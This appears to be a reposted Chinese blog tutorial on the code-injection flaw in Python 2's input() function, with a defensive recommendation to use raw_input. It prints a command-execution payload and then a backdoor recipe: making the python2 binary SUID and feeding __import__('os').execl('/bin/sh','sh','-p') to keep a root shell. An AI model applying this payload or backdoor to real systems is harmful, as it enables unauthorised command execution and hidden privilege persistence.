python2的input,关于python2.x input函数的安全隐患
secret_value = 500
i = input('Guess secret_value:')
if i == secret_value:
print('you win!')
else:
print('you lose!')
input輸入secret_value結(jié)果如下:
raw_input()會將輸入的數(shù)據(jù)默認(rèn)當(dāng)成字符串
input()會自動識別數(shù)據(jù)類型,并且會將算式進(jìn)行運(yùn)算,這也是漏洞產(chǎn)生的原因
而在python3中,python3的input函數(shù)已經(jīng)代替了raw_input函數(shù),默認(rèn)字符串輸出
用以下代碼實(shí)驗(yàn)一下
c = 'john'
i = input('name:')
print(i)
輸入 1+1 和 c,看到結(jié)果都做了運(yùn)算
利用input執(zhí)行命令
輸入__import__('os').system('dir')執(zhí)行dir命令,成功執(zhí)行
因此,在python2環(huán)境的開發(fā)中,應(yīng)盡量使用raw_input函數(shù)來代替input函數(shù)
一個簡單利用:
假設(shè)我們獲取了一臺服務(wù)器的root權(quán)限
我們可以用命令 chmod 4777 /usr/bin/python2 為二進(jìn)制文件賦予特殊權(quán)限位(suid)
將 input('getshell:') 寫入py文件
接下來切換到普通用戶,運(yùn)行腳本
input出輸入 __import__('os').execl('/bin/sh','sh','-p')
可以看到直接彈回一個root權(quán)限的shell
不過只是單單作為提權(quán)后的維持權(quán)限的后門
總結(jié)
以上是生活随笔為你收集整理的python2的input,关于python2.x input函数的安全隐患的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用PHP实现定时任务,利用php 实现
- 下一篇: qq网名叫什么好听